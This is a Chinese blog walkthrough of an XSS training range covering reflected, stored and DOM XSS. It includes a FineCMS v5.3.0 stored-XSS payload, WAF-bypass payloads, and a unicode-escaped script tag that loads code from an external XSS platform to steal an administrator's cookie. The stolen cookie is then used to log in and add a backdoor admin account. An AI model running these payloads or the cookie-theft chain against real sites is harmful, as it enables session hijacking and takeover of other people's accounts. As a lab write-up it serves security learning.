前言
- 掌控安全里面的靶场前端渗透/XSS,学习一下!
反射型XSS
- 环境:http://b-ref-xss-1s.lab.aqlab.cn/
- 了解一下
- 一般证明XSS是否存在,就是在正常页面传参然后构建参数让他弹窗就是存在XSS了
XSS一般在什么业务场景容易遇见?
重灾区:评论区、留言区、个人信息、订单信息等。
针对型:站内信、网页即时通讯、私信、意见反馈。
存在风险:搜索框、当前目录、图片属性等。
- 遵循一个原则,见框就X
- 发现并没有什么反应,审计元素看看代码F12
- 输入双引号发现被转义了,那就输入单引号来闭合
1 | ' oninput=alert(/xss/) |
- 用\转义,或者用//来注释都行
1 | ' oninput=alert(/xss/) \ |
- 接着输入一个任意字符就可以拿flag
存储型XSS
- 先打开看看,发现是FineCMS v5.3.0,因为提示是存储型XSS。百度一下,看看有没有相关的漏洞
- 百度了一下,发现这个cms邮件处url有xss漏洞
payload
1 | http://59.63.200.79:8082/index.php?c=mail&m=<script>alert(/xss/)</script> |
- 因为这个邮件是直接发给管理员,根据说明,所以我们得想办法窃取管理员cookie进入后台。
先找一个xss平台导航
- 注册一个账号,然后进去创建一个新项目
- 我们只是获取cookie,就选超强默认模块和基础默认模块,有兴趣可以看看他们说明
- 就用最短代码吧
payload
1 | http://59.63.200.79:8082/index.php?c=mail&m=极限最短代码 |
- 刷新一下项目页面就收到了cookie了,因为有robot自动访问后台,得到flag了。
- 根据cms源码可以知道管理员路径是admin.php,我们尝试用cookie登陆下后台
1 | member_cookie=d256812b83f3751716e6 |
将这个两个cookie值加入
- 接着我们再访问管理员页面
1 | http://59.63.200.79:8082/admin.php |
- 然后就是基本操作,添加一个管理员账户,以后就不用cookie了
DOM型XSS
- 环境:http://59.63.200.79:8014/dom_xss/
- 注意:被waf拦截就将cookie清空
了解一些基础知识
DOM XSS注入核心代码document,程序和脚本可以通过dom接口来修改前端网页
- document.cookie 读取网页cookie,可设置cookie
- document.domain 返回当前IP
- document.lastModified 获得页面最后修改时间
- document.write 向文档中写入HTML或JS代码
- 一打开靶场,检查了下元素,就看到document.write
- 试了下,这个write截取浏览器后面输入的所有字符串向文档写入然后当做代码执行,因为我们访问浏览器的时候,是生成了文档页面的所以,这个dom型就是向文档中写入代码,然后被页面执行
- 尝试一下恶意代码,估计过滤了script被waf拦截了
- 所以有两种做法,第一种是绕过waf,因为这个waf太老了,绕了也没啥意义但是还是给个payload
1 | http://59.63.200.79:8014/dom_xss/index.php/.txt?id=<img src=x onerror=alert(/dom-xss/) |
- 因为DOM型XSS也是只能在该页面插入html代码,所以这个也是反射型的一种,我们用另一种方法,因为js能解码native编码
直接去导航站长工具
- 找到native编码互转
- 可以直接绕过
- 这样就会出现一个问题,反射型和dom型XSS怎么利用?一样的构造一个url让其他人点一样可以获取cookie,将我们的极限短xss代码转换为native形式
- 测试一下是否有用,访问了一下,明显拿到我自己电脑的cookie和信息了
1 | http://59.63.200.79:8014/dom_xss/?id=\u003c\u0073\u0043\u0052\u0069\u0050\u0074\u002f\u0053\u0072\u0043\u003d\u002f\u002f\u0078\u0073\u002e\u0073\u0062\u002f\u006f\u0050\u0036\u0078\u003e |
- 所以我们想要利用个反射型的xss得先打开建议和投诉页面http://59.63.200.79:8014/dom_xss/dom.html,然后将我们构造的恶意代码发给客服机器人,访问我们就可以获取管理员cookie
- 刷新一下我们的xss项目平台,获取到了cookie
我的个人博客
孤桜懶契:http://gylq.gitee.io